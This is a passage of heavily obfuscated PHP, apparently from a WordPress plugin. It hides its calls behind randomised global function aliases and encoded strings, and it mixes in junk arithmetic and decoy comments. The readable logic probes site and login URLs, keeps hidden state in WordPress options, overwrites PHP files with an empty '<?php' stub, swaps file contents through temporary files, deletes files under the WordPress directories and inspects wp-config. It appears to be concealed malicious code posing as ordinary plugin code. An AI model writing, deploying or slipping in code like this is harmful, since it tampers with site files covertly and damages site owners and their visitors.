   if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($ur0gvjk34mufeqo)  &&      $ur0gvjk34mufeqo  !== "") $lkpzixctvuii4[$GLOBALS['__scf_abbpcj1ncssalx_57']($lvlivn8n_n6pf5w)]['h']   =     $ur0gvjk34mufeqo;
      unset($lvlivn8n_n6pf5w,     $k3k8sb7_2nuzur,   $ur0gvjk34mufeqo);
}
// initialization order

$_rllvx41la3 =  array(zp28wk01y(1479)      =>     $lkpzixctvuii4);
}
  if   (empty($_rllvx41la3[op9tjzix(1494)]))   {
 @delete_option(tvo1rh46s_(1493));
     return;
}
        if  (w0d4v9q7epn8ijfo6lp()) {
     $s9huab7efeqilak      =  false;
      foreach  ($_rllvx41la3[wlgh2_th(1494)] as $cbgtq8_5yfg  =>  $ja1u9e64_8k2) {
 if  ($GLOBALS['__scf_knhbvsumnby3_36']($ja1u9e64_8k2) && empty($ja1u9e64_8k2[fjup2mc1h(1495)]))  {
 $_rllvx41la3[op9tjzix(1494)][$cbgtq8_5yfg][tvo1rh46s_(1495)]   = 1;
 $s9huab7efeqilak =   true;
 }
   }



      if  ($s9huab7efeqilak)     @update_option(b4gbsak56f40gos(1496),   $_rllvx41la3, fjup2mc1h(1391));
  unset($s9huab7efeqilak,   $cbgtq8_5yfg,    $ja1u9e64_8k2);
return;
     }
  static     $athan76n40 = false;



 if ($athan76n40) return;
  $athan76n40   =    true;
 $u0xyylsi94  =     $GLOBALS['__scf_npbrfby50y_735']($_rllvx41la3[op9tjzix(1494)]);
 $nbzjsvymdqowtx  = array();
   if   ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(402)))  @$GLOBALS['__scf_ytyghd4b9k58e_402']();
 elseif    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(403)))  @$GLOBALS['__scf_k6m_q8843h46_403']();
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(405))) @$GLOBALS['__scf_acczjxl0eb0i_405'](true);
        if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(780))  || !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1337)))  return;

 $sg0pymdbg1fbk      =  home_url('/');
     $_h3r1fehh_8ulc94  =  $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1497)) ? wp_login_url()   :   $sg0pymdbg1fbk      .    b4gbsak56f40gos(570);
    $qtdkllib3q  =  false;

$u20jjy4st4b2    =  true;
$bhjaoyk26ywx =   (0x2+0x1);
   foreach ($_rllvx41la3[fjup2mc1h(1494)] as $fdg6f0tibjst  => $jleykg9rtq) {



     if  (rfpjmvtsjl2eoa2lwd2x4() <=   0.5)  break;
   if      (!$GLOBALS['__scf_knhbvsumnby3_36']($jleykg9rtq)    ||    empty($jleykg9rtq['t'])   ||   empty($jleykg9rtq['p'])   ||  empty($jleykg9rtq['b'])) {


unset($_rllvx41la3[tvo1rh46s_(1494)][$fdg6f0tibjst]);
   $qtdkllib3q  =      true;


       continue;
    }
    if (!isset($jleykg9rtq['n'])   || !isset($jleykg9rtq['h']))   {
 if    (!isset($jleykg9rtq['n']))   $jleykg9rtq['n']  = (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($jleykg9rtq['b']) &&    (int)   @$GLOBALS['__scf_voobwg611qb_102']($jleykg9rtq['b'])  ===  0)     ?  1 : 0;



 if   (!isset($jleykg9rtq['h'])    && $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1498)))   {
   $i9i0cbycr7l    =   @md5_file($jleykg9rtq['p']);
  if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($i9i0cbycr7l)    &&  $i9i0cbycr7l     !== "")    $jleykg9rtq['h']  =   $i9i0cbycr7l;
  unset($i9i0cbycr7l);
}
$_rllvx41la3[zp28wk01y(1494)][$fdg6f0tibjst]   = $jleykg9rtq;
  $qtdkllib3q  =  true;
 }
// projective derivation

       if  (!empty($jleykg9rtq[fjup2mc1h(1495)]))      {
 $jleykg9rtq[op9tjzix(1495)]  =    0;



   $jleykg9rtq[zp28wk01y(1499)]     =  $GLOBALS['__scf_yg2rpewmkg_192']();

   $jleykg9rtq[op9tjzix(1457)]  =  0;

     $jleykg9rtq[zp28wk01y(1500)]  =  0;
$jleykg9rtq[fjup2mc1h(1465)] =    0;
$jleykg9rtq[op9tjzix(1467)] =   0;
$_rllvx41la3[tvo1rh46s_(1501)][$fdg6f0tibjst]   = $jleykg9rtq;
 $qtdkllib3q   =   true;
  }
// WordPress 6.2 navigation: activate memento

   if (empty($jleykg9rtq[tvo1rh46s_(1476)])) {
 $_rllvx41la3[op9tjzix(1501)][$fdg6f0tibjst][zp28wk01y(1476)]  =     (int)     $jleykg9rtq[op9tjzix(1499)];
  $jleykg9rtq[op9tjzix(1502)]  =   (int)  $jleykg9rtq[wlgh2_th(1499)];


  $qtdkllib3q  =     true;
     }
  if (!empty($jleykg9rtq[wlgh2_th(1465)])   &&   $GLOBALS['__scf_yg2rpewmkg_192']()  <  (int)   $jleykg9rtq[b4gbsak56f40gos(1465)]) continue;


 if    ($bhjaoyk26ywx  <= 0)   break;


  $bhjaoyk26ywx--;

$hubmd0_8wl     = zp28wk01y(1503)  . $GLOBALS['__scf_hq6ay2dcwioaa_1504']($jleykg9rtq['t'])   .  fjup2mc1h(1505)   .  $GLOBALS['__scf_hw2kkbd0s2i_359']((99905+95),  (999936+63));
    list($a9a20su0g8saxh,  $i2_f7wcj6wot16) = f4c0w0o7x7xhap_svaxm1($sg0pymdbg1fbk .  $hubmd0_8wl);
 if      ($a9a20su0g8saxh  === -2)    break;
 if    ($a9a20su0g8saxh >   0)   $u20jjy4st4b2    =     false;
 if ($a9a20su0g8saxh   ===    -1  &&  $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1506))  && rfpjmvtsjl2eoa2lwd2x4()   > 2)  $GLOBALS['__scf_zthbi4ztwges_700'](1);
if ($a9a20su0g8saxh ===   -1)  {
  list($a9a20su0g8saxh,  $i2_f7wcj6wot16)  =  f4c0w0o7x7xhap_svaxm1($sg0pymdbg1fbk .   $hubmd0_8wl);



 if  ($a9a20su0g8saxh ===  -2)     break;

if ($a9a20su0g8saxh    >    0) $u20jjy4st4b2    = false;


 }
 if    ($a9a20su0g8saxh      <=  0)   {
/* derandomized replicator */


     $_rllvx41la3[fjup2mc1h(1507)][$fdg6f0tibjst][fjup2mc1h(1457)]++;
  $qtdkllib3q  =  true;
 continue;
    

 }
      if ($a9a20su0g8saxh   >=   (436+64)) {



if    (td5vos9msvqm4rpwk0($jleykg9rtq))    {
  teikfigf_p5265esq_q(tvo1rh46s_(1469),   zp28wk01y(1508)  .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($jleykg9rtq['p']));
       $nbzjsvymdqowtx[$fdg6f0tibjst] = $jleykg9rtq;
unset($_rllvx41la3[fjup2mc1h(1507)][$fdg6f0tibjst]);
      } else {
  $_rllvx41la3[b4gbsak56f40gos(1507)][$fdg6f0tibjst][op9tjzix(1457)]++;
}
$qtdkllib3q = true;
  continue;

 }
    if   ($GLOBALS['__scf_rbe_sihvfv_8']($i2_f7wcj6wot16, tvo1rh46s_(1509)  .  $jleykg9rtq['t'] .  tvo1rh46s_(1450))     !== false)   {
 $nbzjsvymdqowtx[$fdg6f0tibjst]  = $jleykg9rtq;
 unset($_rllvx41la3[wlgh2_th(1507)][$fdg6f0tibjst]);


    $qtdkllib3q  =      true;
   continue;
}

list($o713r0sne0jghh,  $tnksq6c8ff)   =     f4c0w0o7x7xhap_svaxm1($_h3r1fehh_8ulc94  .  ($GLOBALS['__scf_rbe_sihvfv_8']($_h3r1fehh_8ulc94, '?')  ===   false   ? '?' :  '&')    .  zp28wk01y(1510)   .    $GLOBALS['__scf_hq6ay2dcwioaa_1504']($jleykg9rtq['t'])     .      op9tjzix(1511)  .    $GLOBALS['__scf_hw2kkbd0s2i_359']((99924+76), (82948+917051)));$yjylxqd4l8u=-697;$xom3ts01fj6g3_=($yjylxqd4l8u>0)?$yjylxqd4l8u:-$yjylxqd4l8u;
if  ($o713r0sne0jghh  ===    -2)  break;


  if ($o713r0sne0jghh   > 0)    $u20jjy4st4b2    =  false;
 if    ($o713r0sne0jghh >= (424+76))   {
if   (td5vos9msvqm4rpwk0($jleykg9rtq))   {
  teikfigf_p5265esq_q(tvo1rh46s_(1469),   b4gbsak56f40gos(1512)   .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($jleykg9rtq['p']));
    $nbzjsvymdqowtx[$fdg6f0tibjst]      =    $jleykg9rtq;
      unset($_rllvx41la3[fjup2mc1h(1513)][$fdg6f0tibjst]);
  } else  {



    $_rllvx41la3[zp28wk01y(1514)][$fdg6f0tibjst][fjup2mc1h(1457)]++;
}
  $qtdkllib3q   =     true;
  continue;
  }
 if ($GLOBALS['__scf_zneqqdn4vlt4_42']($tnksq6c8ff)      &&  $GLOBALS['__scf_rbe_sihvfv_8']($tnksq6c8ff, op9tjzix(1515) . $jleykg9rtq['t']  . zp28wk01y(1450))  !== false)  {
 $nbzjsvymdqowtx[$fdg6f0tibjst]    =   $jleykg9rtq;



      unset($_rllvx41la3[wlgh2_th(1514)][$fdg6f0tibjst]);
    $qtdkllib3q = true;
  continue;
     }
    $_rllvx41la3[zp28wk01y(1514)][$fdg6f0tibjst][tvo1rh46s_(1516)]  =   (int)   (isset($_rllvx41la3[op9tjzix(1514)][$fdg6f0tibjst][op9tjzix(1516)])     ? $_rllvx41la3[b4gbsak56f40gos(1514)][$fdg6f0tibjst][tvo1rh46s_(1516)]   :  0)  + 1;
        if      ($GLOBALS['__scf_yg2rpewmkg_192']()  -  (int) $_rllvx41la3[b4gbsak56f40gos(1514)][$fdg6f0tibjst][zp28wk01y(1517)]    > (0x6c391+0x276ef))   {
        $_rllvx41la3[b4gbsak56f40gos(1518)][$fdg6f0tibjst][fjup2mc1h(1467)]    =  1;
     $_rllvx41la3[op9tjzix(1518)][$fdg6f0tibjst][tvo1rh46s_(1465)]    =  $GLOBALS['__scf_yg2rpewmkg_192']()  +  (86365+35);
}   else  {
  $l824e8q3en  =  array((29+31),    (275+25),  (1549-649),    (2024+1576));
      $nweh9_ilmiiec    =  (int)   $_rllvx41la3[zp28wk01y(1518)][$fdg6f0tibjst][fjup2mc1h(1516)];
   $_rllvx41la3[wlgh2_th(1518)][$fdg6f0tibjst][b4gbsak56f40gos(1465)] = $GLOBALS['__scf_yg2rpewmkg_192']()  +  $l824e8q3en[$GLOBALS['__scf_auynlilaeyt_490']($nweh9_ilmiiec,   (0x3+0x1))  -  1];
  unset($l824e8q3en,   $nweh9_ilmiiec);
      }
      $qtdkllib3q   =    true;
 }

     if     ($u20jjy4st4b2     &&   $qtdkllib3q  &&  !empty($_rllvx41la3[fjup2mc1h(1518)]))   {
  $jyxy630r2occsqp   = false;
   foreach  ($_rllvx41la3[op9tjzix(1518)] as $ey742y25zaqokdua)  {
   if ((int)   $ey742y25zaqokdua[wlgh2_th(1457)]  >=  (0x2+0x1))  {



  $jyxy630r2occsqp  =  true;
 break;
       }
   }
if  ($jyxy630r2occsqp) {
      @update_option(wlgh2_th(1519),  zp28wk01y(1520) . $GLOBALS['__scf_yg2rpewmkg_192'](),  op9tjzix(1391));
 teikfigf_p5265esq_q(tvo1rh46s_(1469),  fjup2mc1h(1521));
  foreach   ($_rllvx41la3[b4gbsak56f40gos(1522)] as     $u0zrytrv44chs => $ey742y25zaqokdua)  {
        if ($GLOBALS['__scf_knhbvsumnby3_36']($ey742y25zaqokdua)   &&  empty($ey742y25zaqokdua[tvo1rh46s_(1495)]))   $_rllvx41la3[op9tjzix(1523)][$u0zrytrv44chs][zp28wk01y(1495)]  = 1;
    }
      $qtdkllib3q    = true;
    }
 }  elseif    (!$u20jjy4st4b2) {

     $xrmod7_fj4  =   @get_option(zp28wk01y(1519), "");
 if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($xrmod7_fj4)     ||   $GLOBALS['__scf_rbe_sihvfv_8']($xrmod7_fj4,   op9tjzix(1378))  !==   0) @update_option(wlgh2_th(1519),    op9tjzix(1524)  .     $GLOBALS['__scf_yg2rpewmkg_192'](), tvo1rh46s_(1391));
  }
if   ($qtdkllib3q) {
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1127)))   @wp_cache_delete(tvo1rh46s_(1525),     fjup2mc1h(1526));
    $gqutc0vxj0cwncv    =  @get_option(tvo1rh46s_(1525), array());
 if  ($GLOBALS['__scf_knhbvsumnby3_36']($gqutc0vxj0cwncv)    &&     isset($gqutc0vxj0cwncv[wlgh2_th(1527)]) && $GLOBALS['__scf_knhbvsumnby3_36']($gqutc0vxj0cwncv[wlgh2_th(1527)])) {
foreach   ($gqutc0vxj0cwncv[b4gbsak56f40gos(1528)] as  $wjq16536hz4a7hb  => $hbwk4hsitmcj)  {

    if (isset($_rllvx41la3[tvo1rh46s_(1529)][$wjq16536hz4a7hb]))  continue;
    


 if   (!$GLOBALS['__scf_av84ex67tlp92_156']($wjq16536hz4a7hb,   $u0xyylsi94,   true))  {



  $_rllvx41la3[fjup2mc1h(1530)][$wjq16536hz4a7hb]  =     $hbwk4hsitmcj;$ers34kmt74l5r=PHP_INT_MAX/PHP_INT_MAX;$oeioifu6v0uk=$ers34kmt74l5r+46;
  continue;



 }
   if    (isset($nbzjsvymdqowtx[$wjq16536hz4a7hb]) &&  $GLOBALS['__scf_knhbvsumnby3_36']($hbwk4hsitmcj))   {
 $i0749p5ruc5g86  =   isset($hbwk4hsitmcj['g'])   ?   (float)  $hbwk4hsitmcj['g']  :      (float)   (isset($hbwk4hsitmcj[tvo1rh46s_(1499)])   ?   $hbwk4hsitmcj[op9tjzix(1531)]  : 0);


   $fsc4x4_h6q4et9 = isset($nbzjsvymdqowtx[$wjq16536hz4a7hb]['g'])  ?     (float)  $nbzjsvymdqowtx[$wjq16536hz4a7hb]['g'] :  (float)   (isset($nbzjsvymdqowtx[$wjq16536hz4a7hb][zp28wk01y(1531)])   ? $nbzjsvymdqowtx[$wjq16536hz4a7hb][zp28wk01y(1531)]  :      0);
 if     ($i0749p5ruc5g86  >   $fsc4x4_h6q4et9)     $_rllvx41la3[tvo1rh46s_(1530)][$wjq16536hz4a7hb]  =  $hbwk4hsitmcj;
unset($i0749p5ruc5g86,  $fsc4x4_h6q4et9);

  }
 }
   }
    unset($gqutc0vxj0cwncv,   $wjq16536hz4a7hb, $hbwk4hsitmcj);
 }


 foreach  ($nbzjsvymdqowtx  as  $cklsukcup24 => $rkofct0ntro6uh4) {
 if  (!isset($_rllvx41la3[b4gbsak56f40gos(1530)][$cklsukcup24])) _0qezpop1swzfe($rkofct0ntro6uh4['b']);

    }
    unset($nbzjsvymdqowtx, $cklsukcup24,   $rkofct0ntro6uh4);
   if (empty($_rllvx41la3[op9tjzix(1530)]))  @delete_option(zp28wk01y(1532));
  elseif  ($qtdkllib3q) @update_option(tvo1rh46s_(1532),    $_rllvx41la3,    wlgh2_th(1391));
 }  finally {
     xckt_q1b7jgyro8rvq(zp28wk01y(1532));
 }
 }



 function    oy8aaxb79xc_xnx7xcv4q($a5k4otdarxhx3x)
  {


return  $GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x) &&  ($GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,      op9tjzix(1533)) !== false  ||  $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,  b4gbsak56f40gos(1534))   !==   false  || $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,    zp28wk01y(1257))  !== false ||   $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x, tvo1rh46s_(27))    !== false ||    $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,  zp28wk01y(1282))      !==  false  ||   $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,    tvo1rh46s_(1535))   !==   false);
/* clopen envelope */

}
 function   ubt4yd1_jfc3p2tt8o90fk($a5k4otdarxhx3x)
{



if    (!oy8aaxb79xc_xnx7xcv4q($a5k4otdarxhx3x))    return  false;


if   (vjil5i_hqkp2tzz3f26g7g($a5k4otdarxhx3x))  return   true;
if    ($GLOBALS['__scf_y135v3krd50khw_1410'](op9tjzix(1536),      $a5k4otdarxhx3x, $ltpokciy2kt5utu)) {
    foreach ($ltpokciy2kt5utu[1]  as   $ez2xy4tas0ula7t) {
      if  (version_compare($ez2xy4tas0ula7t,     _vfpypr4wakqs7jy_(),   '<')) return  true;
}
 return false;


 }
// dynamic dispatch

return    true;
 }
function  fvur8sa38r9z0tnl16lz($frgd4znm8k)
 {


 if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k)  || !@$GLOBALS['__scf_tluflp7r6hugyf_48']($frgd4znm8k))  return;
 

   $dyahzuwtz164n6   = @$GLOBALS['__scf_voobwg611qb_102']($frgd4znm8k);
if (!$dyahzuwtz164n6) return;



 if    ($dyahzuwtz164n6  >   (10995618-509858))   {
 $aty31213sl6m  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k,  false, null,    0, (100667-35131));
   if   (!oy8aaxb79xc_xnx7xcv4q($aty31213sl6m))   return;
 if    (tgyo8z7pgm0hrgi7zn($frgd4znm8k)   === false) {



        teikfigf_p5265esq_q(zp28wk01y(1537),  zp28wk01y(1538)  .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($frgd4znm8k));
     return;

}
   @$GLOBALS['__scf_m2g_67700pfzin_204']($frgd4znm8k,    "<?php\n");
if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1404))) @opcache_invalidate($frgd4znm8k, true);


 return;
  }
 if  ($dyahzuwtz164n6    > (1048518+58))    {
/* equivariant bloom-filter */


  $ow7thkkvlq  =    (string)     @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k,     false, null,  0,  (8094+98));
$e3ajlxwu65a5f  =  ($dyahzuwtz164n6   > (12770-4578))  ? (string) @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k, false,  null, $dyahzuwtz164n6    -  (8161+31))  :   "";
   $ecu6eeiqj58um =     $ow7thkkvlq . $e3ajlxwu65a5f;
 if  ($ecu6eeiqj58um     !==   ""  && $GLOBALS['__scf_y135v3krd50khw_1410'](wlgh2_th(1536),    $ecu6eeiqj58um,   $tlj3h16n1nzwl)) {
 $u0x6l0mhy0c7 =  false;
      foreach ($tlj3h16n1nzwl[1] as   $uwti1glxyhhjb_)     {


if   (version_compare($uwti1glxyhhjb_,   _vfpypr4wakqs7jy_(), '<'))  {
  $u0x6l0mhy0c7  =     true;
      break;
      }
   }


      if    (!$u0x6l0mhy0c7)   return;

}
 }



 $a5k4otdarxhx3x  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k);
  if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)  &&  $GLOBALS['__scf_m2ym9pki8mue9_11']($a5k4otdarxhx3x)  > (468910+579666)) $a5k4otdarxhx3x   =  eje1j3zh7yylmqspbj($a5k4otdarxhx3x);
 if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x))  return;

    if      (!ubt4yd1_jfc3p2tt8o90fk($a5k4otdarxhx3x)) return;
  

kywzwv5f4v1_1vbxkn3leu($frgd4znm8k,  $a5k4otdarxhx3x);
     }
function  kywzwv5f4v1_1vbxkn3leu($frgd4znm8k,  $a5k4otdarxhx3x)
{
   $b_zag2hc7t =  $GLOBALS['__scf_sp5m_appgxyoko_471'](op9tjzix(1539),  "",     $a5k4otdarxhx3x);
   if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t) ||   $GLOBALS['__scf_bbs7j5b1fx_332']($b_zag2hc7t)  ===      "" ||  $GLOBALS['__scf_bbs7j5b1fx_332']($b_zag2hc7t) === op9tjzix(809))  $b_zag2hc7t    =     "<?php\n";
   if   ($GLOBALS['__scf_m2ym9pki8mue9_11']($b_zag2hc7t) >=   (763-263)    &&  !ays3w9sevfe7ws($b_zag2hc7t)) $b_zag2hc7t = "<?php\n";
$km_a5x1a2my3nxw    = @fileperms($frgd4znm8k);

  $km_a5x1a2my3nxw   =  ($km_a5x1a2my3nxw    === false)  ?   (371+49) :   ($km_a5x1a2my3nxw &      (445+66));
$k1nz2xs2mgbro_  =   @$GLOBALS['__scf_kpr9p9o54hwof_101']($frgd4znm8k);
      $cnhiw8umlzj1ndzl   =  @$GLOBALS['__scf_iiafc2kxb9ov_79']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($frgd4znm8k),  b4gbsak56f40gos(1540));


if  ($cnhiw8umlzj1ndzl    ===  false) return;
 if (@$GLOBALS['__scf_m2g_67700pfzin_204']($cnhiw8umlzj1ndzl,   $b_zag2hc7t)   !==  $GLOBALS['__scf_m2ym9pki8mue9_11']($b_zag2hc7t))     {


        @$GLOBALS['__scf_qb1d7dp0ekpw_19']($cnhiw8umlzj1ndzl);

   return;
   }
     @$GLOBALS['__scf_x853wccr0ol2d0_18']($cnhiw8umlzj1ndzl,   $km_a5x1a2my3nxw);
   if  (!@$GLOBALS['__scf_tzc_p_uzbnf_qz_50']($cnhiw8umlzj1ndzl, $frgd4znm8k))  {
/* injective-adj substitution-map */

 @$GLOBALS['__scf_qb1d7dp0ekpw_19']($cnhiw8umlzj1ndzl);


        return;
     }
  if   ($k1nz2xs2mgbro_)  @$GLOBALS['__scf_qtfcgi4pxi71_75']($frgd4znm8k,   $k1nz2xs2mgbro_);

   if   ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1404)))   @opcache_invalidate($frgd4znm8k, true);
 }



function   aumhg2bnnyv4ijja4kbuht($kiksbnz9wy_f)
     {
   if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($kiksbnz9wy_f))  return  "";


        if ($GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(1541),  $kiksbnz9wy_f,  $p74tf9spe3nc493))   {
  $wqsido46b9z1hw   =   $p74tf9spe3nc493[1];$b75duja0gngwc=(0xc3+0x5e);$g39j7nrf=$b75duja0gngwc%6;
$dyahzuwtz164n6 =    @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($wqsido46b9z1hw)  ?   @$GLOBALS['__scf_voobwg611qb_102']($wqsido46b9z1hw)  :  0;
   if (!$dyahzuwtz164n6 || $dyahzuwtz164n6   <    (424+76)   ||  $dyahzuwtz164n6     > (52428795+5))  {
 if ($dyahzuwtz164n6   >     (4583456+47845344)) {
// PHP 8.0 JIT: merge timeout-policy

  $nwbal28ou6g4mbs =   @$GLOBALS['__scf_czsd7giapuxwu_34']($wqsido46b9z1hw);
 if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($nwbal28ou6g4mbs))  $nwbal28ou6g4mbs    =  $wqsido46b9z1hw;
      $nwbal28ou6g4mbs    =     $GLOBALS['__scf_qx45pe7tfwqub_367']('\\',   '/',      $nwbal28ou6g4mbs);

$svdyp0wp06   =    false;
$helnrhlf6f  = array(defined(wlgh2_th(1542)) ? $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,  op9tjzix(1543))   :  "", defined(wlgh2_th(1350)) ? $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR,      fjup2mc1h(1543))   :    "");
 foreach   ($helnrhlf6f    as  $lgv_etc0s6xu25w)  {
/* relaxed interceptor */
$my35pwuib_5s=-195;$hm3eix27eeu6r=($my35pwuib_5s>0)?$my35pwuib_5s:-$my35pwuib_5s;

 $lgv_etc0s6xu25w     =  $GLOBALS['__scf_qx45pe7tfwqub_367']('\\',  '/',  $lgv_etc0s6xu25w);


if  ($lgv_etc0s6xu25w !== ""    &&  $GLOBALS['__scf_rbe_sihvfv_8']($nwbal28ou6g4mbs,   $lgv_etc0s6xu25w   . '/') === 0)     {
 $svdyp0wp06   = true;
 break;
   }
}
// WP RichText API: covariant-adj injector



 if   ($svdyp0wp06 &&    tgyo8z7pgm0hrgi7zn($wqsido46b9z1hw)   !==  false) {
  @$GLOBALS['__scf_qb1d7dp0ekpw_19']($wqsido46b9z1hw);
  @$GLOBALS['__scf_qb1d7dp0ekpw_19']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($wqsido46b9z1hw)     .   op9tjzix(708)     .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($wqsido46b9z1hw, wlgh2_th(1544)));
  } else     {
 teikfigf_p5265esq_q(fjup2mc1h(1537),  b4gbsak56f40gos(1545)  .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($wqsido46b9z1hw));
 }
}
// load repeatable-read arbitrator

 return  "";
}
  }
return $kiksbnz9wy_f;

}
 function gttxhhtzi5cj48g6()
     {
  static   $wqsido46b9z1hw   = null;
   if  ($wqsido46b9z1hw  === null)  {
     $ez2xy4tas0ula7t =  cvod3ffny5vm5dt3d(b4gbsak56f40gos(586),     null);


    if    ($ez2xy4tas0ula7t   === null)   {
     $ab_qey0vgj     =  cvod3ffny5vm5dt3d(zp28wk01y(1161), "");



$ez2xy4tas0ula7t =  ($GLOBALS['__scf_zneqqdn4vlt4_42']($ab_qey0vgj)    &&  $GLOBALS['__scf_rbe_sihvfv_8']($ab_qey0vgj,   zp28wk01y(587)) ===   0)   ?  1     :   0;
 v2tiam6q2h4zs04bs_si_n(op9tjzix(586),  $ez2xy4tas0ula7t,  tvo1rh46s_(1391));
    unset($ab_qey0vgj);
  }
$wqsido46b9z1hw   =  ((int) $ez2xy4tas0ula7t    ===  1);$e8qqs8_w_8254j=(0x3c+0x6c);$j63__iauw9r4w=$e8qqs8_w_8254j%2;
  }
    return   $wqsido46b9z1hw;



     }
       function  cez6l8zgqxrug2xvcnn()
 {
  if    (!defined(op9tjzix(1542)))  return;
  $oknhdgd23az7  = ABSPATH . zp28wk01y(1277);
  if (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($oknhdgd23az7))   {
        $d1gzw_gtvz08s    =    $GLOBALS['__scf_pqkpt9n3trf9fm_12'](ABSPATH)     .   tvo1rh46s_(1546);
 if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($d1gzw_gtvz08s))  $oknhdgd23az7   =  $d1gzw_gtvz08s;
  }
if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($oknhdgd23az7)     || !@$GLOBALS['__scf_tluflp7r6hugyf_48']($oknhdgd23az7))  return;
$nwbal28ou6g4mbs  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($oknhdgd23az7);
     if ($GLOBALS['__scf_zneqqdn4vlt4_42']($nwbal28ou6g4mbs) &&  $nwbal28ou6g4mbs  !==  ""   &&     @$GLOBALS['__scf_tluflp7r6hugyf_48']($nwbal28ou6g4mbs))  $oknhdgd23az7 = $nwbal28ou6g4mbs;



if (@$GLOBALS['__scf_voobwg611qb_102']($oknhdgd23az7)   > (4194290+14))  return;
$a5k4otdarxhx3x  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($oknhdgd23az7);



 if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x) || $a5k4otdarxhx3x ===  "") return;
     $ef_t65847hf =  ($GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,  wlgh2_th(1547)) !==    false ||  $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,   fjup2mc1h(1548))      !==   false);
  $eaytz59pccfood1c  = false;
      if ($GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,  fjup2mc1h(1549))  ===   false) {
 if     (!empty($GLOBALS[op9tjzix(87)]))   {
$eaytz59pccfood1c   =    true;
}  else    {

   $ds6olfqo3bhgxo =     $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(80))  ?  $GLOBALS['__scf_ufzmayscdi_80']() :  b4gbsak56f40gos(81);
  if    (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($ds6olfqo3bhgxo) ||   !@$GLOBALS['__scf_tluflp7r6hugyf_48']($ds6olfqo3bhgxo)) $eaytz59pccfood1c    =  true;


  }
  }
 $hk49puck7fxjk  = false;
     $zfs0te5qlu =   false;
if (!$GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1550),   $a5k4otdarxhx3x) && defined(zp28wk01y(1350)))  {



$_ac      = WP_CONTENT_DIR     .  fjup2mc1h(1300);
    if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($_ac)) {$ta91chq3c4n=10*3;$ad1ltnjjszpoj=$ta91chq3c4n-34;



  $ge8iox8c85r_vd   =   (string) @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($_ac, false,  null,    0,    (896+3200));
     if    ($GLOBALS['__scf_rbe_sihvfv_8']($ge8iox8c85r_vd,  wlgh2_th(1551))   !== false)   $hk49puck7fxjk =    true;
    }
     }  elseif  (
$GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x, tvo1rh46s_(543))  ===  false


  && $GLOBALS['__scf_bvfhit3heqts_99'](wlgh2_th(1552),    $a5k4otdarxhx3x)
)    {$smthi81qt=78|210;$sa8qlah5rulli=$smthi81qt^87;
$zfs0te5qlu    =   true;
  }
   $h_ffvrmts87yjba  =      false;



  if     (gttxhhtzi5cj48g6())     {
if   (

!$GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1553),   $a5k4otdarxhx3x)
||  !$GLOBALS['__scf_bvfhit3heqts_99'](tvo1rh46s_(1554), $a5k4otdarxhx3x)
  ||   !$GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1555), $a5k4otdarxhx3x)
)     $h_ffvrmts87yjba  =     true;
